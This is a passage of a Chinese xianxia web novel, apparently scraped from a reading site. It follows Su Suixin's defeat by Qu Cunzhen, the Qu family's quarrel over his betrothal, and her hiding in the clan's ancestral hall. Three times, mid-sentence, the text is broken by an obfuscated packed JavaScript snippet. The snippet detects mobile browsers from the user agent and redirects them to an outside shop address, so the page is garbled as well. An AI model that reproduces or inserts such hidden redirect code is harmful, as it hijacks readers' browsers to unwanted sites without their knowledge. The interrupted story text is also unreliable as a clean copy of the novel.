守拙剑悬在头顶,剑身微颤,一道道剑光从剑身上分化出来,织成一张细密的网,把杀戮剑阵的所有攻击都挡在他周身一丈之外。 素遂心微一眯眼,心底涌上一丝难以置信。 这就是曲存真的实力? 他的剑阵比她更快,且每一道剑光落下的位置都恰到好处,刚好挡住她的攻击,防守密不透风。 她不信邪,心神一动,剑阵再变,剑意化作一条冰龙,咆哮着冲向曲存真。 曲存真只微微抬起手,守拙剑落入掌中,然后他踏出一步,一剑斩出。 他的剑招没有任何花哨之处,就是简单的直劈。 守拙剑落下的瞬间,素遂心感觉整个天地似要倾覆。 她的冰龙被一剑斩成两半,剑意溃散,反噬的力量震得她连退十数步。 她稳住身形后抬头看向曲存真,发现他也正看着她。 与方才交手之前看她如蝼蚁时的目光有些区别,此刻他虽然双眼依然泛着轻蔑之意,却多了点探究。 但不多,就一点,像是看到了一件略微新奇的东西。 连他的衣角都碰不到,她有些说不出的焦躁。 她深吸一口气,灵力全开,杀戮剑阵再次暴涨,这一次不再有保留。 她倾尽全力,杀意几乎要将整个山门吞噬。 曲存真眉头微微皱了一下,守拙剑脱手而出,悬在半空,剑身剧烈颤动,一道道剑光从剑身上分化出来。 显然,素遂心的顽抗,终于让他动了真格。这一次,守拙剑不再是防守,它开始进攻。 两个剑阵再次相撞,威力比之前大得多。 轰—— 山门石柱彻底碎裂,碎石飞溅,地面剧烈震动之后裂开半丈宽的巨隙。 素遂心感觉到自己的灵力在飞速消耗,指尖开始发麻。 她的剑是半步化神的剑,可她此刻只有元婴初期的修为,全力催动剑阵,每一息都在燃烧她的灵力,如同泄洪般,根本无法持久。 她撑不了太久。 但只要能撑到击中他一次……一次便够。 要是千瓣莲还能用就好了。 就在她分神的瞬间,她的剑阵忽然一顿。 便是这半分滞缓,被曲存真瞬间捕捉。 他的剑阵顷刻间变了! 守拙剑光从正面迎击,转为绕后、包抄、封死她所有的退路。 素遂心心里一沉,他看穿她的打算了。 她想变幻剑阵,可他不给她机会,剑光步步紧逼。 他是个经验非常丰富的战斗者。 不仅如此,在和她交手的时候,他是没有任何作为人的感情的,他也没有任何情绪。 就好像她这个对手尚未引起他太多兴趣,他只是在毫无波澜、教科书式地应战。 她像从未认识过他。 她所知的曲存真最擅矫饰,可眼前这个人,他根本不屑于伪装。 他是个极其傲慢、冷漠无情的对手。 防无可防之际,一道剑光突破她的剑阵,直取她的眉心。 她的心跳与呼吸一瞬同时停止,死亡的寒意笼罩全身。 守拙剑光却在距离她眉心三寸的地方停住。 下一秒,曲存真瞬移至她面前,守拙剑依旧逼在她眉心,剑身上的杀意却悄然退去。 他垂眸看着她,眼神依旧轻蔑冷漠,方才那一点点的探究却消失不见。 守拙剑收回。 曲存真转身,不再看她一眼,径直走向倒在地上的曲清波,指尖灵力一动,便将素遂心施加在他身上的灵脉禁制解除。 曲家一位长老连忙上前,小心翼翼地将曲清波扶起。 曲存真背对着陆掌门和闲远宗众人,淡声道:“今日之事,曲家暂不追究。”他顿了顿,“闲远宗若要追究,可来白波九道找我。” 话音落下,他拈指掐了个诀,一道灵光自他脚下升起,瞬间将他整个人裹住。 那灵光只闪了一瞬,再眨眼时,原地已经空无一人。 曲家其余人等愣了一瞬,随即纷纷施展遁术,如潮水般跟着曲存真的气息追去,转瞬便消失在山门之外,只留下一片狼藉的战场。 闲远宗终于安静下来。 有人扑通一声坐在地上,大口喘气。有人扶着残存的石柱慢慢滑下去闭着眼睛说不出话。几个年轻弟子互相搀扶着站起来,腿还在打颤。 “快、快救人——” 不知是谁先喊了一声,众人这才如梦初醒。伤的、晕的、被压在碎石下的,一个个被抬出来。 陆掌门压下心头的愤懑与疲惫,连忙下令,命各位峰主带领弟子清理战场、救治伤员,随后转身,快步朝素遂心走来。 “多谢道友出手相助。”他抱拳道,“若非道友,今日闲远宗在劫难逃。日后如有用得上鄙门的地方,道友只管开口。不知道友是何……” 他说到一半,忽然住口,因为他发现素遂心根本没有看他,也没有在听他说话。 她站在原地,“剑”还悬在半空,嗡嗡作响,很不甘心的样子。 她的目光落在曲存真消失的方向,一动不动。 陆掌门等了一会儿,没等到回应,见她脸上看不出表情,只那双眼睛冷得厉害。此人既然灵力覆面,显然是不愿意透露真实身份与面容,不管她为何要出手相助,但想来也不稀罕他的答谢。 修仙界向来如此,修为高深者,多有怪异脾气,不然也不会被人叫元婴老怪。 于是,他识趣地没有再说什么,微微颔首,转身去协助清理战场。 素遂心确实没有听见陆掌门的话,她脑子回闪的里全是刚才那场打斗。 曲存真的剑阵,他的应对,他最后那一眼,还有他刻意手下留情的那一剑。 半步化神以来,从没打得这么过瘾,也从来没有输得这么彻底。 她以为自己半步化神的经验可以弥补修为的差距,以为杀戮剑阵可以压他一头,至少能拼个两败俱伤。 可她错了。 曲存真从头到尾,都在掌控着战局。 他甚至没有真正尽全力,便将她逼到了绝境。 最后那一剑,他明明可以杀她,但他没有。 他不屑。 他的实力竟是如此恐怖。 他如此强大,为何如此轻易便被筑基的她杀死?即使她花了五年的时间给他下毒,即使她用了缚阵,她也还只是个蝼蚁都不如的筑基。 “剑”还在嗡嗡响,素遂心抬手把它召回灵府。它不满地颤了一下,像还在闹脾气。 素遂心没理它。 刚才被恨意冲昏头,忘了此间并不是她自己的时空,即使她能杀得了曲存真也没用。 以武力解决这条路行不通。 那就只能想办法让他心甘情愿地收回那一成元神。 可他若问起,她身上为何会有他的元神,她又要如何解释? 总不能说是你自己卑鄙无耻地放进来的,但我已经把你杀了,现在只有你能弄出来。 她相信他大概不等听完便会一剑杀了她。 只能先去白波九道看看,伺机而动了。 她站在原地,神识探向静霄子闭关处,此时灵光平稳而浑厚。 师尊已经顺利闯过生死关,并无大碍。 她收回神识正要离开,忽然想起一个人来。 沈既呢? 今天从头到尾都没见过他的人影。大敌当前躲着不出现,不是他的风格。静霄子那处也不见他踪迹,他莫非下山了?算了,她其实也并不太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17500381|202699||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 关心,随便想想便也就抛诸脑后了。 还是正事要紧。 她即刻出了闲远宗,以瞬移之速一路往鹿鸣城的方向而去。 ~ 鹿鸣城是曲家世代治理的城池,凡人与修仙者在此杂居,热闹非凡。 城池依山而建,城北有雪山九座,山顶积雪终年不化,峰峦相连,高耸入云,远远望去,九道山脊如白波涌动,故名白波九道。 曲家府邸便建在白波九道的山腰和山巅,而凡人则散落在山脚下的平地之上。 鹿鸣城的凡人抬起头,便见无数道剑光自天边掠来,拖曳着长长的尾迹,从城北的雪山方向横贯而过。 剑光上的人衣袂翻飞,转瞬便消失在白波九道的云雾深处。 有人驻足看了许久,叹一句“是曲家的仙人”,语气里仍是一如既往的惊艳与羡慕。 看了不知道多少次,还是觉得好看极了。 只是,剑光上的仙人们,此刻并无半分表面上的从容。 一落到白波九道,曲家府邸的大门便匆匆打开,弟子们跳下剑踉跄而入,一个个急忙寻找医修医治伤处。 受伤最重的家主曲清波,早已被几位长老小心翼翼地扶回了自己的院中。 他脸色苍白,还没躺下先吩咐身边的人:“去,开我的私库,把库里上好的疗伤药都拿出来,分给受伤的弟子。” 下人不敢耽搁,连忙应声退了下去。 他夫人闻讯赶来,见他伤成这样,眼眶当即红了,又急又气,转身便问一同回来的几位长老:“你们不是说,这次攻打闲远宗,有九成胜算吗?怎么会弄成这样?” 几位长老面面相觑,脸上满是愧疚与无奈,一时难以开口。 曲清波靠在榻上,摆了摆手:“别问了,此事不怪他们。” “不问?你都伤成这样了,若是有个三长两短,我和孩子们怎么办?” “原本是有九成胜算……”曲清波声音有些虚,“谁知道静霄子那老贼没死,谁知道又半路杀出个藏头露尾的女修,修为在元婴初期之上,手段刁钻,实力强悍。有她掺和,闲远宗那帮人才能反败为胜,我也才会被她所伤。” 曲清波说着,忽然闷哼一声,一口血涌了上来。 翟夫人慌忙上前,掏出帕子,小心翼翼地为他擦拭嘴角的血迹,转头便朝门外高声喊道:“快去请五长老!快去!” “叫他干什么?”曲清波把血咽回去,脸色铁青,“叫他来好叫我死得更快些?” 话音刚落,门外传来一道脚步声。 曲存真跨进门槛。 他站在门口,目光从曲清波身上扫过,嘴角微微扬起一个嘲讽的弧度,“偷袭还理直气壮了?” 曲清波气得又要吐血:“谁偷袭?闲远宗上次趁我闭关派人潜入我曲家祖地,重伤我三十九名弟子,这笔账还没算!我今日攻打闲远宗,不过是有怨报怨有仇报仇!” “报仇?”曲存真嗤笑一声,语气里满是不屑,“所以你也趁静霄子闭生死关,举家攻山?既然敢偷袭,就要有把握一举拿下,偷鸡不成蚀把米就没意思了。” 曲清波脸上一阵青一阵白,被曲存真噎得说不出话来,他说得没错,是自己失算了。 曲存真走到榻前,“若不是我正好在祖祠附近,察觉到你魂灯不稳,及时赶过去,今日曲家上下就都能听见你的丧钟了。” 顿了顿,嘲讽更甚:“曲家多少年没响过丧钟了?家主今日,是准备让年轻弟子们见识见识?” 曲清波半晌才讪讪道:“静霄子闭生死关,那不是天赐良机么……我怎么知道静霄子那老东西的魂灯灭了还能再亮?你们谁见过这么邪门的事?” 几位长老纷纷摇头,魂灯灭而复苏,乃是修仙界罕见之事,他们活了这么久确实从未见过。 翟夫人白一眼曲清波,上前拉了拉曲存真的袖子:“藏舟,你就别再说他了,你快给他看看,他这伤到底怎么样了,有没有大碍?” 曲存真没有推辞,从袖中摸出一只玉瓶递过去,“舅母放心,他无事。”他顿了顿,“死不了。” 曲清波刚想开口,被他淡淡扫了一眼。 “不过,今日那女修倒的确想杀你。你什么时候得罪过这么一个元婴?” 8. 少女 房里的其他人陆续退了出去,只剩翟夫人守在榻边。 曲存真却未动身。 他走到榻前,接过翟夫人手中的药瓶,亲自替曲清波渡化药力。灵力顺着掌心渡入,那瓶上好的灵药在曲清波体内化开。 片刻后,曲清波苍白如纸的脸色总算缓和了些,气息也平稳了不少。 见此,曲存真站起身准备离开。 “藏舟。”曲清波忽然开口叫住他。 曲存真脚步停住,缓缓转过身,等他说下去。 “那天我对你说过的话,你再好好想想。” 曲存真沉默着没接话。 曲清波:“是那丫头的事。” 曲存真:“有什么好想的。” “你少跟我装傻。该想的都得想了,她今年十七了!” 曲存真:“然后呢?” 曲清波被他这副态度噎了一下,索性不再拐弯抹角,“你该清楚,她配不上你!” 曲存真瞥他一眼,语气骤然凉了几分:“看来今日不该救你。” 翟夫人赶紧在曲清波胳膊上轻轻拧了一把,“唉,满嘴的血还堵不住你的嘴?藏舟心疼你特意留下来为你疗伤,你倒好,净说些惹他生气的话!” 说着,她又转向曲存真,“藏舟,莫生你舅父的气,他就是这张臭嘴,说不出什么好听的话。” 曲清波却不依不饶,撑着身子靠在榻上,喘了口气继续说下去:“我不是非要惹他不快,我都是为了他好,为了曲家好!” “藏舟,你如今是曲家的顶梁柱,往后整个曲家都要担在你肩上。你的夫人,就算不能帮你分担族中事务,至少也得是个能拿得出手的人,上能与各宗各府的当家主母往来应酬,下能叫族中上下心服口服,安稳人心。她一个十七岁的小丫头片子,要阅历没阅历,要资历没资历,你叫她往后如何服众?” “没错……这丫头是生得出众了些,可我见你也并非这般肤浅之人,不至于只看皮囊。” “想来,你仍是惦记着你母亲与她爹的那份陈年约定。可当年他们二人不过是一时兴起,说定之时那丫头都还没有出生。谁能想到她父母迟迟生不下个后代,等到你都一百岁了,才总算有了她。” 他叹了口气。 “这世上的事,过了一百年,便如人死百年,早该投胎转世,另寻生路了。你与他们家那份约定,便是就此作罢,也不会有人敢说你半个不字。” 曲存真敛眸静立,“约过便是约过,无论百年千年,沧海桑田。人无信不立,家无信不兴,宗族绵延不过凭一个‘信’字。我与她既有婚约在身,便当践约而行,绝无反悔之理。” 曲清波忽然冷哼一声,“不跟你扯那些冠冕堂皇的,就说那丫头的灵根吧,你打算瞒我到几时?你以为我不知道?那丫头确实是天灵根,可如今这天灵根是残的。修炼之路,一步慢,步步慢,往后能有什么大出息?” 曲存真眼帘一掀,“有我在,她的灵根如何何须轮到家主费心。” 曲清波又被他噎得说不出话。 “好,就算灵根的事你能解决,那她的心性呢,你还能给她拗过来?我关注她这些年,但凡挡在她前头的——小到一棵草、一粒石子,大到一只牲畜、一个人——”他顿了顿,嘴角扯出一个意味不明的弧度,“她想的可从来不是绕过去,而是怎么把那东西给除去!” “说得难听一点,她这样的人就是心术不正——” “她哪样的人?”曲存真皱眉打断他,“她勤奋刻苦,坚韧不拔,这些年在曲家,从未见她与人为恶。你说的这些,不知从何而来。” 曲清波嗤笑一声,还想再说,一旁的翟夫人偷偷扯了扯他的袖子,被他甩开。 “还有命格。”曲清波一不做二不休,把窗户纸全捅破,“我早查看过她的命格,我算过你俩的命!与你的放在一处,那是命煞相冲。乾造坤造,一为离火,一为坎水,水火相激,时日久了必生祸端。轻则修为停滞,重则家宅不宁。曲家如今靠你撑着,你能冒这个险?” “你说的这些,我都不曾见过。我只见到她每日天不亮便起来修炼,无论寒暑,从不间断。我只见到她待人接物,虽不善言辞,却从不曾与人为恶。我只见到她——” 曲存真的语气不觉变得柔和。 “那年她养过一只受伤的珠颈斑鸠,日日悉心喂食,直到它能飞走。后来那斑鸠飞回来,在她窗台上筑巢产卵。” “那棵挡她路的树至今也还好好长在她屋前,她从未想过要将它砍去,只是每次路过的时候低头钻过去。” “她心性如何,我不知这世上还有谁看得比我清楚。她有自己的路要走,却从不挡别人的路。她不懂的事很多,可她在学。她还小,舅父说她小,没错,她才十七。可她比这世上大多数人,都活得认真。” 曲清波张了张嘴,看傻缺似的看着曲存真,“藏舟啊藏舟,你说的跟我说的是一个人吗?” 曲存真递去一个极淡的、仿佛看什么不成器的东西的眼神。 “家主这些陈词滥调,就别拿来污人耳朵了。她好不好,轮不到旁人用几句虚妄的命格来度量,那不过是无能之辈的遮羞布,你应当比我更清楚。今日的话,我只说这一次,希望家主日后也不要再提,若是家主年纪大了脑子不好使,以后再出此谬言,只能劳烦舅母辛苦些费心提点了。” 曲清波气得眼前发黑,一只手颤巍巍指向曲存真,扭过头看向翟夫人。 “他……他是知道怎么才能气死我的!” 随手抓起身下的枕头便朝曲存真扔过去:“快,叫他滚!他不滚,我今天就得死在这儿!” 曲存真侧身避开枕头,转身就走,跨出房门,迎面撞上两个人。 廊下站着一双少年男女,正探头往这边张望,见他出来,两人眼睛一亮,齐齐迎上前,语气亲昵。 “藏舟哥哥!” “藏舟哥哥!” 女孩叫曲澜,男孩叫曲澈,是曲清波的一双龙凤胎,今年不过十七,与素遂心同岁。 曲澜一双杏眼含羞带怯,落在曲存真脸上便挪不开,眼底满是倾慕。 曲澈则直接凑上来,满脸都是少年人对强者的崇拜:“藏舟哥哥,父亲怎么样了?我听说你们今天去——” “站住。” 曲存真止住曲澈的话,脚步未停。 “这个时辰,你们不在景明堂进学,跑来此处做什么?” 曲澜和曲澈脸上的笑容瞬间僵住。 曲存真从他们身侧走过,头也没回。 “说了多少次了,不要这么叫我。曲氏家训第三条,每逢族中尊长,当以名号称之,不得僭越攀附。家训第七条,族中子弟,无故不得擅离学堂。两条并罚,你们自己去戒律堂领十戒尺。再有下次,领双倍。” 曲澜的脸刷地白了,眼眶微微泛红,小声辩解:“藏舟哥——” 曲澈赶紧捂住曲澜的嘴,他张嘴想说什么,却被曲存真一个眼神扫过来,硬生生咽了回去。 “现在就去。” 两人不敢再开口,低着头匆匆往戒律堂的方向跑去。 曲存真停下步子,看着廊外的积雪,面色比雪光还冷。 他静静站了片刻,压下心头的几分烦躁,抬脚转身,朝着景明堂的方向走去。 景明堂是曲家子弟进学之所,位于白波九道第三峰的半山腰。 白波九道多雪松,终年苍翠,树冠如盖。三进院落依山而建,青瓦白墙,檐角飞翘,掩映在终年不化的雪色之中。正堂前植着两株雪松,枝叶浓密。 此时正值课间,少年们的笑闹声从打开着的窗子飘出来。 几个弟子追逐着从廊下跑过,险些撞到廊柱,又笑骂着扭打成一团。更远些的角落里,三五个聚在一处,不知在争抢什么,闹得不可开交,脸上满是少年人的鲜活与张扬。 曲存真停下脚步,目光越过那些喧闹,落在靠窗的一个角落。 那里坐着个少女。 一身半旧的青杏色袄裙,梳着极简单的发髻,没有任何珠钗装饰,在周遭锦绣堆砌的曲家子弟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17500382|202699||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间,像工笔重彩里无意滴落的一点淡墨。 周遭的热闹似乎都在她周身静了下来,她低着头,膝上摊着一本字帖,手指却在桌下悄悄快速地翻飞——却是在结一道极静、极专心的手诀。 曲存真眼底的霜色无声消融,一点极淡的笑意漫上来。 没见过比她更会“偷”光阴的人。 阳光从窗外斜斜照进来,细细铺在她的侧脸。 满堂喧哗,只她一人静。 此刻,望着少女的,并不止曲存真一人,景明堂外的雪松上还藏了一人也正在看她。 白波九道有结界守护,外人莫入,哪怕是元婴修士,也难以悄无声息地闯入。 但素遂心进来得异常顺利,没有遇到丝毫阻碍。 每个曲家子弟身上都有一道烙印,是出生或正式入族时刻下的。曲家结界认的便是这个烙印,称为结界印。只有带着烙印的曲家人,才能自由出入白波九道。 她七岁入族,曲家在她手腕处刻了一枚字印,后来十七岁又换成了一枚花印,是一朵粉色的淡梅,刻在眉心处。 当年杀了曲存真之后,曲家通缉她,也将她除名。 她被除名,那枚花印便也消失了。 按理说,她是根本不可能通过结界的。 但她体内有曲存真那一成元神。 她虽已不是曲家人,她身上却带着曲家人,还是权限最高的长老,结界感知到那一丝元神气息,就放行了。 她隐匿气息,悄无声息落在景明堂外的雪松上。枝叶茂密,恰好将她的身影完全遮掩。 隔着半开的窗,她看见了十七岁的自己。 素遂心看着偷偷练手诀的少女,一时有些恍惚。 一百多年过去,很多记忆都消失在时间里,不太想得起当时是为什么要练手诀了,也记不起练的是什么手诀。 哦,记起来了,好像是为了炸一个人。 那不是什么正经功法,是她从藏书阁角落里翻出来的旁门左道。 创这道手诀的人也不知是个什么路数,专门往人灵脉上最脆弱的地方招呼,一招下去,灵力逆冲,轻则瘫上三五个月,重则留下暗伤,日后每逢修炼便经脉刺痛。 阴损得很。 但好用。 那人是曲家旁支的子弟,比她大几岁,筑基中期,不知哪根筋搭错了,隔三差五就来纠缠她。 今天送一盒点心,明天堵在路上说些有的没的,言语轻佻。她叫他不要纠缠,他不听。她板着脸不理,他当她是害羞,愈发得寸进尺。她刻意绕路走,他却步步紧跟,甩都甩不掉。 烦死了。 那时的她还只是炼气期,打又打不过,说又说不听。 去找长辈告状?她没那个习惯。 后来她去藏书阁翻到这道手诀,练了小半个月。威力不小,就是得趁人不备才能用上。她算了算,以她现在练气的修为,正面肯定吃亏,但要是能提前备好,等他再来纠缠的时候,冷不丁给他来一下…… 炸到几个月生活不能自理,她就清净了。 至于日后会不会留下什么暗伤,她管不着。他自己要来的,怪谁?只要熬到筑基,那人就不敢再来。 后来到底是怎么炸的,她倒是真记不起来了。只知道那之后,那人也确实消停了。 不过她好像也为此受了责罚,责罚的过程也不大记得了,应该没受过什么痛苦吧。 暴力虽恶,但有用。 她收回思绪,正要离开,忽然感觉到一股灵觉扫过。 很轻,很快,像无意间拂过的风。 她心下一凛,低头,树下那道身影已经停住了脚步。 曲存真静立着,并未抬头,周身剑意却已凝若实质,如箭在弦。 下一刻,守拙剑自他灵府一掠而出。 素遂心浑身骤然绷紧,灵力本能地往掌心涌,又被她强行压住。 晚了。 剑光冲天而起,如冷月破云,直斩向她藏身的树冠。 “什么东西,滚出来。” 9. 追逃 素遂心浑身一紧,灵力本能地往掌心涌,又被她强行压住。 不能交手。 不是怕他。 此时不比之前在闲远宗的时候,这是在曲家,遇到入侵者他不会有任何顾虑,只会立刻斩杀。 后续再想接近他、让他收回元神,便会难如登天。 素遂心灵力急转,指尖飞快捏出一道隐匿遁术的法诀,在守拙剑斩落的前一瞬,整个人已从雪松上消失。 剑光斩空,碎雪纷飞。 景明堂里,笑闹声戛然而止。 一颗颗黝黑的脑袋瓜子从窗口探出来,好奇地张望。 “怎么了怎么了?刚才那是什么声音?” “打起来了!” “有外人闯进来了?” 叽叽喳喳,一群少年人挤在窗前,兴奋得像是过节。还有几个胆大的已经在往门口跑,要出去看看热闹。 只有角落里的少女稳如泰山。 十七岁的素遂心低着头,桌下的手还在翻转比划那道阴损的手诀。外面发生了什么,谁喊了什么,与她无关。 她只想早点把这道手诀练熟,早点了结那桩烦心事。 “呀,是五长老!是五长老的守拙剑意!”一个少年忽然高声喊道,语气里满是崇拜与惊叹。 “谁这么大胆子,竟敢惹五长老出手?” “哈,那人死定了,守拙剑可从来没有失手过!” “哇,守拙剑意真好看!” 又是一阵哗然,少女手诀正翻到第三遍,受此影响灵力不免走岔一缕。她猛地一掌拍在桌上,眼底闪过一丝戾气,恨不得把始作俑者深深埋进雪里。 曲存真穷追不舍。 守拙剑意如血蛭般紧缠,几次差点要被素遂心甩开,下一刻又出现在身后三丈之内。 她不敢回头不敢停,更不敢交手。 只能跑。 两个人一追一逃,掠过雪松林,从白波九道第三峰一路瞬移至山巅。 素遂心从来没这么狼狈过,即便是当年杀了曲存真从曲家叛出,也差不多是从容的。 她恨得牙痒,却只能继续跑。 眼见那道剑意又要追上来,她一咬牙,灵力急转,整个人猛地折向山巅深处。 前方,一座高大的建筑隐在雪雾之中。 它依山而建,青石为基,飞檐如雪中展翅的孤鹤。门楣上悬着一块古旧的匾额,字迹被风雪侵蚀得有些模糊,却仍能看出“曲氏宗祠”四个字。 素遂心来不及多想,一头扎了进去。 就在她跨入门槛的瞬间,身后那道追了一路的剑意忽然消失了。 祖祠里静得落针可闻。 素遂心站在原地,大口喘气,过了好一会儿才反应过来,此地屏蔽一切灵息、气息。 守拙剑意被挡在了外面,她的气息则被埋藏在里面。 从前曲存真曾说过,曲家祖祠积攒了数千年的遗念与遗灵,周遭布下森严禁制,能隔绝半步化神以下修士的探查与侵入。 这里是曲家的禁地,外人休想窥探,也休想闯入。即便是曲家子弟,也唯有长老和家主,才有资格进入。 素遂心不是长老,也不是家主,但她体内有曲存真那一成元神。 祖祠感知到曲存真的气息,便默认她是被获准进入的人。 素遂心站在祖祠内,回头望向门外。 雪雾弥漫,暂时看不见曲存真的身影。 她等了一会儿。 没有剑光追来,外面没有任何动静。 他似乎停止追击了。 素遂心略略松了口气。 或许曲存真追到这儿,发觉气息断了。他只知她在这附近消失,却绝不会想到她敢进也能进祖祠。 祖祠是曲家的禁地,即便长老和家主,非祭祀、非急事,也不会擅自进入。 更何况,外人即便擅闯,若未达半步化神的境界,根本无法突破宗祠的禁制。而如今世间,还没有半步化神的修士——她的师尊静霄子,还在闲远宗闭关,冲击半步化神,尚未出关。 所以,曲存真的神识扫过这片区域,只会得出一个结论:她要么用了什么高阶遁术,逃远了。要么藏在某个隐蔽的地方,隐匿了所有气息。 可就在她稍稍放松警惕的瞬间,门外忽然传来一阵脚步声,踩在积雪上,发出“嘎吱嘎吱”的声响,她的心又提起来。 曲存真,他没有走。 脚步声渐渐靠近,最终停在祖祠正门前,再也没有动静。 素遂心的呼吸凝住。 隔着紧闭的门,她看不见他,却能感觉到他的目光正落在这扇门上。 她的心跳压到最低,灵力完全敛住。 她隔着紧闭的门板与他对视。 能感觉到他的目光还停留在门上,甚至能想象他此刻的样子:冷锐多疑的眼神,毫无表情的脸,守拙剑悬在身侧。 她不能完全确定他会不会推门而入。祖祠是禁地,他即便怀疑,或许也不会轻易擅闯。可他的性子,向来谨慎,若是执着于找出她的踪迹,未必不会破例。 时间仿佛被拉长。 不知多了多久,瞬移带起的微微风声传入她凝神静听的耳中,他走了。 素遂心依旧屏息凝神,又静静等了足足一炷香的时间,确认门外再也没有任何气息,也没有任何动静,这才长长地呼出一口气。 掌心已全是汗。 素遂心往后退了几步,没入祖祠更深处。 曲家祖祠比她想象的要大。 穿过长长的门廊,是一条幽深的走道,两侧点着长明灯,灯火幽幽地照着素白墙面。 走道尽头豁然开朗,是一座宽敞高大的堂屋。 屋内供奉着一排排灵位,从高到低,层层叠叠。牌位前燃着香,烟气袅袅,四周充斥着一股浓浓的檀香气。 再往里走,灯火渐暗,抬眼望去,只见一盏盏魂灯高高悬在半空。 错落有致,大小不一,光芒或明或暗。 光芒明亮的,说明灯的主人尚且健在。光芒微弱、忽明忽暗的,说明主人修为受损,或命不久矣。那些彻底熄灭的,则是主人已然陨落,魂飞魄散。 素遂心的脚步慢下来。 越往里,魂灯越少,光芒却越盛。最深处只悬着寥寥几盏,每一盏都亮得惊人。显然,这些魂灯的主人,都是曲家当代最顶尖的强者。 然后她停住。 其中一盏,光芒最为耀眼,如正午烈日,格外明亮。 素遂心身体上浮到那盏灯近前,见灯下悬着一块小小的玉牌,上面用工整的小篆刻着三个字。 这三个篆字她认得——曲存真。 除了“一”字和那些笔画极简极好辨认的,她这辈子认得的另外四个小篆,便是“存真”和“藏舟”,一个是他的名,一个是他的字,是成亲之后曲存真手把手教她的。 他硬要教,她只能学了。 那时,曲清波总以“提升情操修养”为由,压着她从修炼中抽出一半的时间,学各种她认为无用的东西,认写篆字,便是其中之一。 她烦得不行,却也不敢违逆家主。后来曲存真不知怎么说通了那老东西,她可以不用再练字。 他却是有条件的,她必须学会这四个字。 那时她就明白,他不过是想让她记住,她是他的人,是他的炉鼎,是他的所有物。即便不认识其他所有的字,也要认得主人的名字,在她的骨子里,打上他的烙印。 “有个好消息要告诉你……” 没来由地,素遂心的脑海中,忽然响起这句话。是曲存真死前想跟她说的,她没让他说完。好端端怎么会想到这个…… 正想着,她无意间抬起头,目光越过那些魂灯。 然后她愣住了。 魂灯上方,更高的地方,悬着一口钟。 巨大,黑沉沉的,像一座小山倒扣。纹丝不动,却让人莫名觉得随时会压下来。 素遂心盯着钟,有一瞬恍惚。 当年,它的钟声响彻整个白波九道,追了她一路。 她厌恶不能掌控自己命运的感觉,太厌恶了。七岁时她就在丽娘的尸身前发过誓,不会再让人践踏, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17500383|202699||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不要再活在不能活下去的恐惧中。 所以,她必须要突破问心,必须要化神,只有成为最强者,恐惧的才会是别人而不是她。 曲存真现在所表现出的很多方面,都和她以前对他的了解不一样。或许,她的确不够了解他,或许,她从来都没有真正了解过他,从未看清过他骨子里的脾性。 到底怎么样才能让他心甘情愿收回元神? 她现在根本近不了他的身,守拙剑或许已经标记她,只要她的气息出现在他周围,守拙便会出鞘,毫不犹豫地杀她。 这是她目前最大的麻烦。 素遂心站在钟下,盯着那口黑沉沉的巨物看了许久,忽然眼前一亮。 这不是现成最好的藏身之处吗? 她身形一动,向上飞去。钟的里面十分宽敞,她即使躺下都不成问题。钟壁厚重,隔绝一切,比祖祠的禁制还要彻底,双重保障。 她盘膝虚坐在钟内,闭目。 等到夜深,丑时,她睁开眼。 元婴自灵府遁出,穿过钟壁,无声无息地飘向祖祠之外。 这个时辰,白波九道静得只剩风声,除了守夜的弟子,不会再有人醒着。 即便十七岁的她,也已刚刚结束修炼入梦。 元婴顺着记忆中的路线,绕过几座山峰,飘到一处偏僻的小院前。 七岁时,曲存真将她带来白波九道,让她住在这里,说没有人打扰,非常适合沉下心修炼。 院子不大,也是曲家惯用的青瓦白墙风格。 挨着院墙内侧有一棵树,树干斜斜地伸出来,正挡在进出院门的小路上。 她从叛出曲家,便再没见到过这棵树。一百多年后再见,一时有些晃神。 这棵树名叫美人树,俗名叫“丽娘”,她原先不知道。 当初不知道的时候,她嫌这棵树碍事,每次出入都得低头钻过去,是想砍掉它的。 只是她动手的时候,有个老仆对她说,“好好的丽娘,好不容易长这么大,你可以挪走呀,干嘛非得给它砍了?” 她知道之后,便连挪走都不舍得了。 她收回目光,元婴飘向紧闭的窗。 窗内,十七岁的素遂心正躺在床上,呼吸均匀。 睡前练的那道手诀,手指还微微蜷着,像是在梦里也在比划。 她又飘到床前,看着少女的脸。 她现在的脸和这张脸相比几乎没什么变化,她十七岁筑基,容貌便停在十七岁。 修士筑基之后,容貌不再变老,但也不可逆。 幼童筑基,以后便都是幼童的模样。老者筑基,白发不会变黑,皱纹不会消失。 有的人,对容貌无所谓,便一直停留在筑基时的样子,不去刻意改变,比如她,比如沈既。 